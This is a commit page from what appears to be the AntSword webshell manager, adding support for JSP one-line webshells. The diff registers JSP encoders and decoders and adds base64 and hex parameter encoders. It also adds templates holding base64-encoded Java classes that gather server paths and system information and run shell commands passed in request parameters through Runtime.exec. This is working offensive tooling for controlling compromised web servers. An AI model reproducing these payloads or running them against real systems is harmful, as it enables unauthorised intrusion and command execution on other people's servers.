Commit 92bf8721 authored by yzddmr6's avatar yzddmr6

增加对JSP一句话支持

parent 7e7720fc
......@@ -165,12 +165,14 @@ antSword['encoders'] = (function () {
var encoders = {
asp: [],
aspx: [],
jsp: [],
php: [],
custom: []
};
var encoders_path = {
asp: [],
aspx: [],
jsp: [],
php: [],
custom: []
};
......@@ -179,7 +181,7 @@ antSword['encoders'] = (function () {
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
......@@ -219,12 +221,14 @@ antSword['decoders'] = (function () {
asp: [],
aspx: [],
php: [],
jsp: [],
custom: []
};
var decoders_path = {
asp: [],
aspx: [],
php: [],
jsp: [],
custom: []
};
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
......@@ -232,7 +236,7 @@ antSword['decoders'] = (function () {
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
......
......@@ -130,8 +130,8 @@ class Base {
* @return {Object} [返回字符串处理函数对象]
*/
format(opts) {
let encode=opts['encode'];
let randomPrefix= parseInt(opts.otherConf["random-Prefix"]);
let encode = opts['encode'];
let randomPrefix = parseInt(opts.otherConf["random-Prefix"]);
return {
/**
* base64编码
......@@ -147,13 +147,13 @@ class Base {
* @return {String} 编码后的字符串
*/
newbase64(str) {
let randomString=(length)=>{
let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let randomString = (length) => {
let chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
return randomString(randomPrefix)+Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
}
return randomString(randomPrefix) + Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
},
/**
* 字符串转16进制(不进行编码转换
......@@ -226,7 +226,7 @@ class Base {
})
}
// 发送HTTP请求
data['_']=data['_'].replace(/#randomPrefix#/g,this.__opts__.otherConf["random-Prefix"]);
data['_'] = data['_'].replace(/#randomPrefix#/g, this.__opts__.otherConf["random-Prefix"]);
return data;
}
} else {
......
......@@ -14,7 +14,7 @@ class Core {
constructor() {
// 加载子模块列表
let cores = {};
['php', 'asp', 'aspx', 'custom', 'php4'].map((_) => {
['php', 'asp', 'aspx', 'jsp', 'custom', 'php4'].map((_) => {
cores[_] = require(`./${_}/index`);
});
// 返回子模块对象
......
/**
* JSP::default解码器
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (data) => {
return data;
}
}
\ No newline at end of file
//
// jsp::base64 编码模块
//
// :把除了密码跟api的其他参数都base64编码一次
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
}
if (ext.opts['encode'] != "UTF8") {
ret['charset'] = ext.opts['encode'];
}
if (ext.opts['encoder'] != "default") {
ret['encoder'] = ext.opts['encoder'];
}
if (ext.opts['decoder'] != "default") {
ret['decoder'] = ext.opts['decoder'];
}
ret[pwd] = data['_'];
return ret;
}
\ No newline at end of file
//
// 16进制编码模块
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
}
if (ext.opts['encode'] != "UTF8") {
ret['charset'] = ext.opts['encode'];
}
if (ext.opts['encoder'] != "default") {
ret['encoder'] = ext.opts['encoder'];
}
if (ext.opts['decoder'] != "default") {
ret['decoder'] = ext.opts['decoder'];
}
ret[pwd] = data['_'];
return ret;
}
\ No newline at end of file
/**
* JSP服务端脚本模板
* 作者:yzddMr6
*/
'use strict';
const Base = require('../base');
class JSP extends Base {
constructor(opts) {
super(opts);
// 解析模板
[
'base',
'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => {
this.parseTemplate(`./jsp/template/${_}`);
});
// 解析编码器
this
.encoders
.map((_) => {
this.parseEncoder(`./jsp/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./jsp/decoder/${_}`);
});
}
/**
* 获取编码器列表
* @return {array} 编码器列表
*/
get encoders() {
return ['base64','hex'];
}
get decoders() {
return ['default'];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default = false) {
// 分隔符号
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = "|<-";
}
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = JSP;
\ No newline at end of file
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
module.exports = () => ({
info: 'yv66vgAAADIAtQoANgBNBwBOCgACAE8KAAIAUAgAUQsAUgBTCABUBwBVCABWCgAIAFcIAFgLAFkAWgsAUgBbCwBZAFsIAFwKAAgAXQcAXgoANQBfCgAIAGAIAGEKAAIAYgoAYwBkBwBlBwBmCgAYAE0IAGcKABgAaAoAFwBgCgAYAGALABEAaQsAagBrCABsCwBtAG4KADYAbwoAcABxCgByAHMHAHQKACUAVwoAJQB1CgB2AHcKAHYAeAoAdgB5CgB2AHoIAHsKAHwAfQgAfgoANQB/CACACgB2AIEKAHYAggoAJQCDCgAlAGAHAEYHAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcATgcAhQcAhgcAhwcARgcAhAcAVQcAZQEAC1N5c0luZm9Db2RlAQA7KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YS9sYW5nL1N0cmluZzsBAA9Xd3dSb290UGF0aENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAiAEAClNvdXJjZUZpbGUBABBTeXNJbmZvQ29kZS5qYXZhDAA3ADgBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAiQCKDACLAIwBAAdjaGFyc2V0BwCFDACNAEkBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMADcAjgEACXRleHQvaHRtbAcAhgwAjwCODACQAI4BAAMtPnwMAJEAkgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAEYARwwAkwCUAQADfDwtDACVAJYHAJcMAJgAjgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACUVSUk9SOi8vIAwAkQCZDACaAJsHAJwMAJ0AngEAAS8HAJ8MAKAASQwAoQCiBwCjDACkAKUHAKYMAKcAlAEADGphdmEvaW8vRmlsZQwAqACUBwCHDACpAKoMAKsArAwArQCUDACuAK8BAAdvcy5uYW1lBwCwDACxAEkBAAl1c2VyLm5hbWUMAEgASQEAAQkMAK4AsgwAOwA8DACzALQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL1N0cmluZwEAD1tMamF2YS9pby9GaWxlOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBAAtnZXRSZWFsUGF0aAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAC2dldFJlc291cmNlAQAiKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvVVJMOwEADGphdmEvbmV0L1VSTAEAB2dldFBhdGgBAAlnZXRQYXJlbnQBAAZjaGFyQXQBAAQoSSlDAQAHdmFsdWVPZgEAFShDKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEACWxpc3RSb290cwEAESgpW0xqYXZhL2lvL0ZpbGU7ACEANQA2AAAAAAAEAAEANwA4AAEAOQAAAB0AAQABAAAABSq3AAGxAAAAAQA6AAAABgABAAAABwABADsAPAABADkAAAFSAAMACQAAALMrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgW7AAhZEgm3AAo6BrsACFkSCbcACjoHGQQSC7kADAIALRkFuQANAgAZBBkFuQAOAgAZBhIPtgAQVxkHKi3AABG2ABK2ABBXGQYZB7YAE7YAEFcZBhIUtgAQVyy2ABUZBrYAE7YAFqcAIjoIGQe7ABhZtwAZEhq2ABsZCLYAHLYAG7YAHbYAEFcErAABAEAAjwCSABcAAgA6AAAASgASAAAACgAFAAsACgAMABAADQAqAA4ANQAPAEAAEQBJABIAUQATAFoAFABiABUAcAAWAHsAFwCDABgAjwAbAJIAGQCUABoAsQAcAD0AAAA1AAT+ACYHAD4HAD8HAEBBBwBB/wBpAAgHAEIHAEMHAD4HAD8HAEAHAEEHAEQHAEQAAQcARR4AAABGAEcAAQA5AAABLwADAAYAAADHEglNK7kAHgEAuQAfAQASILkAIQIAxgAZK7kAHgEAuQAfAQASILkAIQIATacAHCq2ACISILYAI7YAJE67ACVZLbcAJrYAJ02nAB9OKrYAIhIgtgAjtgAkOgS7ACVZGQS3ACa2ACdNuwAYWbcAGSwDtgAouAAptgAqtgAbLAS2ACu2ABu2AB1NEiy4AC1OEi64AC06BCostgAvOgW7ABhZtwAZLLYAGxIwtgAbGQW2ABsSMLYAGy22ABsSMLYAGxkEtgAbtgAdsAABAAMARwBKABcAAgA6AAAAOgAOAAAAIAADACIAGAAjAC4AJQA7ACYARwArAEoAKABLACkAWQAqAGYALACHAC0AjQAuAJQALwCbADAAPQAAAA4ABPwALgcAQRhCBwBFGwAAAEgASQABADkAAACwAAQABQAAAGESCU0rAwS2ADESILYAMpoAPbgAM04DNgQVBC2+ogAsuwAYWbcAGSy2ABstFQQytgA0AwW2ADG2ABsSCbYAG7YAHU2EBAGn/9OnABe7ABhZtwAZLLYAGxIgtgAbtgAdTSywAAAAAgA6AAAAJgAJAAAAMwADADQAEQA1ABUANgAfADcAQgA2AEgAOQBLADoAXwA8AD0AAAARAAT+ABgHAEEHAEoB+QAvAhMAAQBLAAAAAgBM',
probedb: 'Z', // 检测数据库函数支持
})
\ No newline at end of file
//
// 命令执行模板
//
module.exports = () => ({
exec: {
_: 'yv66vgAAADIA7goATABrBwBsCgACAG0KAAIAbggAbwsAcABxCAByCABzCAB0BwB1CgAKAHYIAHcLAHgAeQsAcAB6CwB4AHoHAHsKABAAawgAfAoAEAB9CgAQAH4KAEsAfwoASwCACACBCACCCgAKAIMKAEsAhAoACgB+CACFCgACAIYKAIcAiAcAiQgAigoAHwB+CACLCgAkAIwHAI0KACQAjgoAJACPCACQCACRCgAkAJIHAJMKACQAlAoAKgCVCgAkAJYKACQAlwoAEACYCACZCgAqAJoKACoAmwgAnAcAnQoANABrCgA0AJ4KAEsAnwgAoAgAoQoAogCjCgCiAKQKAKUApgoASwCnCgClAKgIAKkKAKoAqwoAJACsCACtCgAkAK4HAK8HALAKAEUAsQoARACyCgBEALMIALQKAEQAtQcAYQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwBsBwC3BwC4BwCNBwBhBwC2BwB1BwCJAQACRUMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAJMBABJFeGVjdXRlQ29tbWFuZENvZGUHALkBAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAQihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjtMamF2YS9sYW5nL1N0cmluZzspVgcArwcAugEAClNvdXJjZUZpbGUBABdFeGVjdXRlQ29tbWFuZENvZGUuamF2YQwATQBOAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALsAvAwAvQC+AQAHZW5jb2RlcgcAtwwAvwDAAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATQDBAQAJdGV4dC9odG1sBwC4DADCAMEMAMMAwQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAxADFDADGAMcMAF8AXQwAXABdAQAEdmFyMgEAAy0+fAwAxADIDABhAF0BAAN8PC0MAMkAygcAywwAzADBAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUQBSAQAQamF2YS9sYW5nL1N0cmluZwwAzQDODABNAM8BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA0ADHAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MANEA0gwATQDTDADUANUMANYA1wwAxADYAQABLAwA2QDTDADGAMABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADaANsMAGMAZAEAAi1jAQACL2MHANwMAN0A3gwA3wDgBwDhDADiAOMMAGUAZgwA5ADjAQAHb3MubmFtZQcA5QwA5gDADADnAMcBAAN3aW4MAOgA6QEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDABNAOoMAE0A6wwA7ADHAQACDQoMAO0ATgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABWNsb3NlACEASwBMAAAAAAAHAAEATQBOAAEATwAAAB0AAQABAAAABSq3AAGxAAAAAQBQAAAABgABAAAACQABAFEAUgABAE8AAAHfAAUACwAAAScrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQoZBrYAGrYAGVcZBxkItgAbtgAZVxkHEhy2ABlXLLYAHRkHtgAbtgAepwAiOgkZCLsAEFm3ABESILYAExkJtgAhtgATtgAUtgAZVwSsAAEAWgEDAQYAHwACAFAAAABWABUAAAAMAAUADQAKAA4AEAAPACoAEABEABEATwASAFoAFABjABUAawAWAHQAFwCgABgAzAAZANQAGgDkABsA7wAcAPcAHQEDACABBgAeAQgAHwElACEAUwAAAEIABv4AJgcAVAcAVQcAVkEHAFf8ABcHAFdBBwBX/wDDAAkHAFgHAFkHAFQHAFUHAFYHAFcHAFcHAFoHAFoAAQcAWx4AAABcAF0AAgBPAAAARAAEAAQAAAAeLBIitgAjmgAJLBIipgAFK7C7ACRZK7YAJS23ACawAAAAAgBQAAAACgACAAAAJAARACUAUwAAAAQAAg8BAF4AAAAEAAEAHwAAAF8AXQACAE8AAAFoAAYACAAAANwsEiK2ACOaAAksEiKmAJ8rEielAAwrEie2ACOZAAYSB7ASKDoEK7YAKUy7ACpZK7YAKwVstwAsOgUSBzoGAzYHFQcrtgArogBduwAQWbcAERkGtgATGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAvEjC2ABO2ABQ6BhkFGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAxhAcCp/+gGQUSCbYAMrAsEjO2ACOaAAksEjOmACMBOgS7ADRZtwA1OgUZBSu2ADY6BLsAJFkZBBIJtwAmsCuwAAAAAgBQAAAASgASAAAAKAAPACkAHgAqACEALAAlAC0AKgAuADkALwA9ADAASQAxAH0AMgCdADAAowA0AKsANQC6ADYAvQA3AMYAOADOADkA2gA7AFMAAAAqAAgPDgL/AB4ACAcAWAcAVwcAVwcAVwcAVwcAYAcAVwEAAPoAYvgABw4fAF4AAAAEAAEAHwAAAGEAXQACAE8AAADDAAQABwAAAFK7AApZEge3AAs6BAa9ACRZAytTWQQqtgA3mgAIEjinAAUSOVNZBSxTOgW4ADoZBbYAOzoGKhkGtgA8GQQttgA9KhkGtgA+GQQttgA9GQS2ABuwAAAAAgBQAAAAGgAGAAAAPgALAD8AKgBAADQAQQBAAEIATABDAFMAAAA/AAL/ACEABQcAWAcAVwcAVwcAVwcAWgADBwBiBwBiAf8AAQAFBwBYBwBXBwBXBwBXBwBaAAQHAGIHAGIBBwBXAF4AAAAEAAEAHwAAAGMAZAABAE8AAABOAAIAAgAAABgSP7gAQEwrtgBBTCsSQrYAQ5kABQSsA6wAAAACAFAAAAAWAAUAAABGAAYARwALAEgAFABJABYASgBTAAAACAAB/AAWBwBXAAAAZQBmAAIATwAAAI8ABgAGAAAAP7sARFm7AEVZKy23AEa3AEc6BRkFtgBIWToExgAfLLsAEFm3ABEZBLYAExJJtgATtgAUtgAZV6f/3BkFtgBKsQAAAAIAUAAAABYABQAAAE4AEgBPAB0AUAA5AFIAPgBTAFMAAAAiAAL9ABIABwBn/wAmAAYHAFgHAGgHAFoHAFcHAFcHAGcAAABeAAAABAABAB8AAQBpAAAAAgBq',
'var1': '#{bin}',
'var2': '#{cmd}',
},
listcmd: {
_: 'Y',
'z1': '#{binarr}'
}
})
\ No newline at end of file
This diff is collapsed.
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module.exports = require('./default');
\ No newline at end of file
This diff is collapsed.
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module.exports = require('./default');
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
......@@ -760,7 +760,7 @@ module.exports = {
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
......@@ -807,7 +807,7 @@ module.exports = {
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
......
......@@ -267,6 +267,7 @@ class Form {
"php": /.+\.ph(p[345]?|s|t|tml)/,
"aspx": /.+\.as(px|mx)/,
"asp": /.+\.(as(p|a|hx)|c(dx|er))/,
"jsp": /.+\.(jsp[x]?)/,
"custom": /.+\.((jsp[x]?)|cgi)/
}
let typecombo = form.getCombo('type');
......@@ -276,6 +277,8 @@ class Form {
typecombo.selectOption(typecombo.getOption('aspx').index);
} else if (file_match.asp.test(id) == true) {
typecombo.selectOption(typecombo.getOption('asp').index);
} else if (file_match.jsp.test(id) == true) {
typecombo.selectOption(typecombo.getOption('jsp').index);
} else if (file_match.custom.test(id) == true) {
typecombo.selectOption(typecombo.getOption('custom').index);
}
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment